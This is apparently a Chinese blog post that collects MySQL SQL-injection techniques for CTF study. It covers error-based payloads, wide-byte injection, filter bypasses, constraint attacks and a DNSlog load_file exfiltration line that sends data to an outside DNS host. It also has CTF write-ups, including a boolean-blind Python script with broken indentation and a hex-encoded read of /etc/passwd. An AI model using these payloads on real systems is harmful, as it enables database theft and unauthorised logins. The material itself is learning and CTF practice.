id 0e1union mysql_史上最水的MYSQL注入总结

原创

我是跟野兽差不了多少 于 2021-03-04 04:54:13 发布 48 收藏
文章标签： id 0e1union mysql

本文链接：https://blog.csdn.net/weixin_26833139/article/details/114996380

[TOC]

0x1 Forward

这篇文章的雏形我是发在了t00ls,后来我想了下还有其他挺有意思的内容还没总结进来,于是就有了一篇升级版(ps水货本质还是没变),希望有需要的师傅可以阅读看看。

0x2 MySQL 基础知识

1.字符串截取函数

left(str,index) //从左边第index开始截取

right(str,index) //从右边第index开始截取

substring(str,index) //从左边index开始截取

substr(str,index,len) //截取str,index开始,截取len的长度

mid(str,index,ken) //截取str 从index开始,截取len的长度

2.字符串比较

strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1

find_in_set(str,strlist) //如果相同则返回1不同则返回0

3.字符串连接函数

concat(str1,str2) //将字符串首尾相连

concat_ws(separator,str1,str2) //将字符串用指定连接符连接

group_concat()//

4.一些绕过注入的罕见函数

instr(str1,substr) //从子字符串中返回子串第一次出现的位置

lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

5.运算符

0x5.1算术运算符:

+ - * /

0x5.2比较运算符:

= <> != > <

(1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';

(2)in //select '123' in ('12') => 0

(3)like(模糊匹配) //select '12345' like '12%' => true

(4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true

0x5.3 逻辑运算符:

not或! 非

AND 逻辑与 == &&

OR 逻辑或 == ||

XOR 逻辑异或 == ^

0x5.4位运算符:

& 按位与

| 按位或

^ 按位异或

! 取反

<< 左移

>>右移

0x5.6.注释符

//单行注释符,url记得编码为%23

/**/

--+

6.常用函数

0x6.1 延时函数

sleep()

benchmark(1000000,sha(1))

0x6.2 编码函数

hex() ascii()

0x6.3 文件函数

1.load_file //读取文件

2.outfile //写入文件

7.一些构造语句的知识

0x7.1 条件语句

if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3

select case when (条件) then 代码1 else 代码 2 end

0x7.2 information_schema 结构

information_schema.tables:

查询表名:table_name 对应的数据库名: table_schema

information_schema.columns:

查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式

查询结果 + 比较运算符 + 猜测值

0x7.3mysql 报错注入

构造报错语句 + 查询结果

0x7.4 mysql 联合注入

构造联合语句 + 查询结果

0x7.5 mysql 盲注

查询结果 + 比较运算符 + 猜测值

0x7.6 mysql空白字符

%20 %09 %0a %0b %0c %0d %a0 /**/ tab

%a0 这个不会被php的\s进行匹配

/*!*/ 内敛注释

这个也可以用来做分隔 挺有意思

0x7.7 some tips

0x7.6.1函数名和括号直接可以插入特殊字符 ex

concat/**/()

information_schema/**/./**/TABLES

information_schema%0a.%0aTABLES

0x7.6.2 {identifier expr}

select {x 1} from {x test} limit 1;

0x3 浅谈MYSQL报错注入(略)

常见payload如下:

1.floor()

and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.updatexml() //5.1.5

and 1=(updatexml(1,concat(0x3a,(select user())),1))

3.extractvalue() //5.1.5

and extractvalue(1,concat(0x5c,(select user())))

4.exp() //5.5.5版本之后可以使用

select host from user where user = 'root' and Exp(~(select * from (select version())a));

5.name_const //支持老版本

select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

6.geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring() 几何函数报错

select multipoint((select * from (select * from (select * from (select version())a)b)c));

0x4 浅谈宽字节注入

原理介绍: 【PHP代码审计】入门之路——第二篇-宽字节注入

(1)MYSQL client链接编码的锅

查看编码:show variables like '%character%'

当客户端连接编码设置为GBK的时候 与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。

测试payload: index.php?id=%df%27

流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運'

(2)MYSQL iconv函数 mb_convert_encoding函数的锅

借用先知: $id =iconv('GBK','UTF-8', $id)

%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27

其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。

(3)Big5编码导致的宽字节注入

之前有幸在ddctf 2017被虐过一次,当时就对这个点进行了一些小研究,比如编码的过程 由于当时啥也不懂,搞得有点奇怪,这里就记录一下

猜测代码: iconv('utf-8','BIG5',$_GET['id'])

payload构造同上: 功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\' 逃逸单引号

%E8%B1%B9' 参考安全客DDCTF 2018 writeup(一) WEB篇

0x5 浅谈DNSlog SQL盲注

在mysql中load_file 会带dns查询请求

具体可以参考 mysql带外攻击 out of band 安全客有这篇文章

首先查看变量确定权限

show variables like '%secure%'

1、当secure_file_priv为空，就可以读取磁盘的目录。

2、当secure_file_priv为G:\，就可以读取G盘的文件。

3、当secure_file_priv为null，load_file就不能加载文件。

在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是

可以通过mysql的配置文件my.ini添加行进行配置

unc路径 网络共享文件方式 \\xq17.com\tet这样的路径

用4个\\是因为转义 本质是:\

最好进行加密处理 防止特殊字符导致失败 如下

```
select
load_file(concat(0x5c5c5c5c,version(),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));
```

坑点:之前一直用bugscan的dnslog 用

select load_file('\\\\',version(),'.dnslog地址') 发现一直收不到信息

注意一般分配给我们的是二级域名所以我们要有个点 把返回信息放在三级域名那里 后来用16进制加密之后就发现可以了 可能是传输的时候出现了@之类什么奇怪的字符 导致了传输失败

总结:

1.对数据能加密尽量加密

2.dns解析 能很好解决盲打盲注的不可知的缺陷

3.缺点是:限制比较多

推荐下我写的一篇dnslog花样秀任意读取文件:

0x6 浅谈MYSQL的约束攻击

关于约束攻击,网上的文章归根到底其实说来说去就是一篇文章:基于约束条件的SQL攻击,这里谈谈我的理解。

最近看了下bugku和安恒月赛的题目,约束攻击经常出现的点是在用户登录处。

首先 mysql 5.5版本以上需要设置数据库为宽松模式,避免出现插入错误error

set @@sql_mode=ANSI;

漏洞利用演示:

1.通过注册 admin+(n多个空格)+1(这个随意) => admin /

2.然后去登陆的时候: 输入 admin,password:你在第一步注册的账号密码,达到越权登陆admin账户

漏洞原理分析:

主要就是

1.mysql的select查询进行字符串比较的时候,不同长度的字符串,会用空格填充到相同字符在比较。

2.mysql插入数据的时候,当数据超过定义的长度会出现截断象限

漏洞利用过程分析:

我们目标是越权登陆xq17这个用户

(1)注册用户名: xq17 1(空格填充长度需要大于10) ,密码为1234560

对应的sql语句:

这个时候尝试查询:

会发现上面说的第一个特性,用空格来填充比较。

(2)去登陆界面登陆,注意的是,我们传入的不是我们注册用户名,而是'xq17'目标用户名,密码是我们注册密码

对应的SQL语句是:

会发现返回的是我们的注册结果,所以说返回的username是admin+n多个空格

但是代码一般判断是否有返回值,所以这样会导致登陆成功。

防御措施:

1.顾名思义,加个unique约束,就会导致在插入的时候,会做一次相同比较,(回到上面说的比较特性),避免发生这种情况.

2.代码获取用户名写进session的时候用返回结果。

0x7 注入场景分析

(一)同表注入:

获取当前注入点所在表的信息 常见于后台登陆、ctf考点中

我以前写过一篇实战遇到的场景: bypass select from 另类的sql注入闷骚操作获得管理员密码

(1)限制: 过滤了information_schema 突破:获取表名

支持报错注入:

and polygon(id)# id如果是当前表存在的字段就爆出表名

mysql> select * from test where name='1' and polygon(id);

ERROR 1367 (22007): Illegal non geometric ''test`.`test`.`id`' value found during parsing

爆列名 通过using可以爆出所有列名

mysql> select * from (select * from test as a join test as b)as c;

ERROR 1060 (42S21): Duplicate column name 'id'

mysql> select * from (select * from test as a join test as b using(id))as c;

ERROR 1060 (42S21): Duplicate column name 'name'

mysql> select * from (select * from test as a join test as b using(id,name))as c;

ERROR 1060 (42S21): Duplicate column name 'password'

(2)限制:过滤了字段名,可union 源码给出字段结构(*次要) 突破:获取指定字段内容

曾经校赛学长出过一道题

$filterlist = "/\(|\)|username|password|id|where|case|=|like|sleep|for|into_outfile|load_file;/“;

其实思路就是:

mysql> select * from test where name='xq17' union select 1,'x',3 order by name;

+----+------+----------+

| id | name | password |

+----+------+----------+

| 1 | x | 3 |

| 1 | xq17 | 123456 |

mysql> select * from test where name='xq17' union select 1,'w',3 order by name;

+----+------+----------+

| id | name | password |

+----+------+----------+

| 1 | w | 3 |

| 1 | xq17 | 123456 |

+----+------+----------+

2 rows in set (0.00 sec)

通过 order by进行降序排序 就会发现 代码取返回的值会发生不同 就可以根据这个来写布尔盲注

(3)限制了union select等关键词 突破:获取内容

mysql> select * from test where name='xq17' && password

+----+------+----------+

| id | name | password |

+----+------+----------+

| 1 | xq17 | 123456 |

+----+------+----------+

1 row in set (0.00 sec)

这个很经典的 在巅峰极客好像出过题 当时写了个脚本

```
url='http://67c10dc4d7c848ceb59b1d3ed32a94667fbd86ee51384f05.game.ichunqiu.com/'
vuln_url =url +'/sql.php'
flag=""
while(True):
for i in range(30,128):
flag+=chr(i)
payload="wuyanzu'/**/&&/**/passwd
data={
'uname':payload,
'passwd':'admin',
'submit':'login'
}
r1=requests.post(vuln_url,data=data)
if('passwd error' in r1.content):
flag=flag[:-1]+chr(i-1)
print flag
break
else:
flag=flag[:-1]
```

(二)绕过关键词过滤注入

针对常见的正则过滤,比如/union|select/i (大小写不敏感) 这种直接干掉关键词做法

可以尝试等价替换

(1)过滤= (就是起到比较作用的东西)

1.函数绕过:

strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest() find_in_set()

2.< > <>

3.like regexp

4. in //select "123" in ("123"); => 1 select "123" in ("12") =>0

(2)过滤ascii()

hex() bin() ord()

(3)过滤substr() mid()等

left() right() mid() substr() substring() lpad() rpad()

(4)过滤字段名(通杀全表)

mysql> select e.3 from (select * from (select 1)b,(select 2)c,(select 3)a union select * from test)e;`

通过构造一个虚拟表

`select * from (select 1)... union select * from test`, 联合进表信息 赋予别名 然后通过列数来调用

(5)过滤,(逗号)

limit 0,1 => limit 1 offset 0;

mid(str,5,1) =>mid('str'from 5 for 1) =>substr('str' from for 1)

union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;

这个点在实战也有,很有意思

我写过一篇文章:绕过逗号和空格的mysql小特性

(6)过滤逗号和for

mid('123' from -1); =>3

mid('123' from -2); =>23

(7)硬匹配函数体

version() => `version`()

version() => version/**/()

(8)union开头正则过滤 /^union[^a-zA-Z0-9_]/i

select * from test where name=0.1union select 1,2,3;

select * from test where name=1E1union select 1,2,3;

select * from test where name=\Nunion select 1,2,3; //\N => null

(9)对于传递一些敏感字符或者字段 或者 过滤了单引号传递字符串的时候

考虑将内容进行hex编码

select * from test where name='xq17';

select hex('xq17') => 78713137;

则上面等价

select * from test where name=0x78713137;

ssti模版注入利用数据库中介来绕过过滤 特殊字符,详情可以参考:python继承链和题解综合

(10) /union select/ 匹配绕过

union distinct select 1,2,3

0X8 结合上文 分析CTF题目

0x8.1 hctf Kzone解题之旅

(1)常规扫描获取压缩包

http://kzone.2018.hctf.io/www.zip

(2) 源码审计发现漏洞

.

```
├── 2018.php
├── Default\ account&password.txt
├── Tutorial.txt
├── admin
│   ├── delete.php
│   ├── export.php
│   ├── index.php
│   ├── list.php
│   ├── login.php
│   └── pass.php
├── config.php
├── include
│   ├── common.php
│   ├── db.class.php
│   ├── function.php
│   ├── kill.intercept.php
│   ├── member.php
│   ├── os.php
│   └── safe.php
├── index.php
├── install.sql
└── robots.txt
```

代码写的很简单很容易看出逻辑

全局过滤函数 safe.php waf

注入点: member.php -> cookie 注入 //其他的点用了addalshes做了单引号过滤,这里就没有

这里的member.php 文件 明显是个后门文件代码 跟进代码看看

if (!defined('IN_CRONLITE')) exit(); // login.php 包含common.php 这个可以绕过

$login_data = json_decode($_COOKIE['login_data'], true);

$admin_user = $login_data['admin_user'];

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

这个代码把cookie的login_data参数进行了json_decode 然后拼接进去了sql语句 所以存在注入,但是需要绕过全局过滤函数 waf (定义在safe.php)

但是经过赛后问了下三叶草师傅 原来还有个弱类型绕过后台漏洞(*我真的是菜鸡,代码审计经常忽略这些点)

$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $login_data['admin_pass']) {

$islogin = 1;

} else {

setcookie("islogin", "", time() - 604800);

setcookie("login_data", "", time() - 604800);

}

快速通读下admin文件夹就会知道$is_login是来判断是否有权限来访问后台的全局变量

这里做了个与cookie的可控数据admin_pass进行==判断 然后赋值为1

看到==比较以后一定要注意 字符串和数字弱类型比较的问题(再骂自己一句垃圾)

弱类型原理可以参考: php 弱类型总结

当一个字符串当作一个数值来取值，其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内

该字符串被当作int来取值，其他所有情况下都被作为float来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0。

字符串和数字比较的时候 规则是字符串转换为数字类型比较

回到当前题目:

sha1($udata['password'] . LOGIN_KEY)

LOGIN_KEY 在common.php => define('LOGIN_KEY', 'abchdbb768526');

3aa526bed244d14a09ddcc49ba36684866ec7661

var_dump(sha1('abchdbb768526') == 3); => true

所以这个可以考虑从0到1000进行爆破(LOGIN_KEY 非默认值的时候) 然后进入后台

后台没有flag,回到注入的点上来

(1) 第一种解法: 正面硬肝

function waf($string)

{

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-||\#|\s/i';

return preg_replace_callback($blacklist, function ($match) {

return '@' . $match[0] . '@';

}, $string);

}

考虑布尔盲注:

绕过= 从上面总结 可以考虑用 in

绕过substr -> 考虑用rpad

绕过\s -> /**/

所以说很容易就凑出来payload了

但是这里过滤了or -> password过滤 information_schema过滤

当时我以为考点是 突破字段名过滤绕过呢 但是上面总结可以知道

只有一种方法 通过联合查询 但是union被过滤了 当时我就觉得这个考点是这个了 可能是黑魔法啥的,心怀期待,不过结果令我有点遗憾，竟然是json_decode这个单一考点。

既然没办法通过information_schema获取表名,权限足够的话可以访问mysql表 来获取表名

我写了个mysql表结构分析 MySQL.mysql db 分析

里面写到了innodb_table_stats => table_name,n_rows 记录了innodb引擎的表 和列的数目

这个题目恰好只有一列 所以利用 通配符 可以跑出来

判断header头的 set-cookie 个数 => 布尔盲注

这个点其实按照解题的思路

我也想到过,但是当时去谷歌: json_decode 漏洞 函数缺陷

没有找到 当时如果是 json_decode 绕waf 或许就看到这个点了(还是太菜)

\u+4个十六进制数字 => unicode编码

$c = array('name' => '');

$c['name'] = $_POST['name'];

var_dump($c);

$a = json_decode($c['name'],true);

var_dump($a['name']);

```
if (1) {
if ($_COOKIE["login_data"]) {
var_dump($_COOKIE);
$login_data = json_decode($_COOKIE['login_data'], true);
echo $login_data['admin_user'];
}
}
?>
```

寻找下解码原因(待解决)

(1) 看下官方文档的函数说明:

json

待解码的 json string 格式的字符串。

这个函数仅能处理 UTF-8 编码的数据。

Note:

PHP implements a superset of JSON as specified in the original » RFC 7159.

读一下:RFC 7159

可以知道json类型可以存在unicode编码 (unicode压缩 ->utf-8)

那么decode解码就是php的问题了:

尝试看下源代码文件:

php-src

693行//

php_json_decode_ex(return_value, str, str_len, options, depth TSRMLS_CC);

601// php_json_decode_ex

感觉问题应该是出在

parse_JSON_ex 这个解析函数

写的有点长了

到时候我调试好php环境研究清楚在另写篇文章细分析下

(大佬别期待我,我只是个菜鸡。。。)

0x8.2 安恒11月赛 好黑的黑名单

这道题,当时我是写了这个总结的雏形,然后去做的题目,当时可能时间有限,没A出来,但同时让我们明白了个道理,想运用好这些知识去解题,还是需要一定的技巧,去探测规则。

由于缺乏环境,这个主要参考一叶飘零大佬的wp来编写解题思路:

首先一开始判断是不是注入,常见几种方法(很多种情况,还有like那种,这个意会)

1' and '1'='2

1" and "1"="2

2-1

这里简单看看过滤规则:

考虑下联合注入发现union被过滤了,无果,

那么就是SQL盲注了,回想上文,SQL盲注需要的条件:

查询结果 + 比较运算符 + 猜测值

这里假设要读取的是: flag表的flag字段

查询结果对应的语句是:

(select flag from flag) 空格很明显被拦,/**/也被拦,看看还有其他的分隔符不,这里用%0a

(select%0aflag%0afrom%0aflag) 然后就是考虑截取一个一个比较,对比上面发现全被过滤,但是可以考虑下罕见函数,是没有过滤的。

这个时候继续走,在第一步基础上

考虑第二步比较运算符了:

这里一叶飘零师傅用了regexp试了一次,也用了between试了一次,然后又使用了hex编码绕过'a'过滤的单引号

最终构造出SQL盲注语句:

if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)

这个过程,主要是分析,该如何利用知识点,但是我觉得这个题目难点,还是在黑盒测试上,判断那些字符可用,是ctfer解出题目的关键。

0x8.3 安恒11月赛 ezsql(*)

不得不说,这道题目让我震撼到了,因为mysql注入点高权限,真的很少见,这里主要是刺激到了我一个盲点。

因为一般注入点,想读取表信息,没有select 是根本不可能的,但是这里文件操作函数,却是可以的。

首先谈下我的解题思路:

通过异或判断出是注入点,之后fuzz,发现过滤select 然后放弃(0rz)

然后就是wp的解题思路:

if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)

不用select就文件操作函数可以加载出内容,并且进行运算,0rz

这个点真的让我脑瓜一热,感觉特别开心,学到了新姿势。

0x9 End

最后,希望这篇水文能对你有所帮助。

0x10 reference linking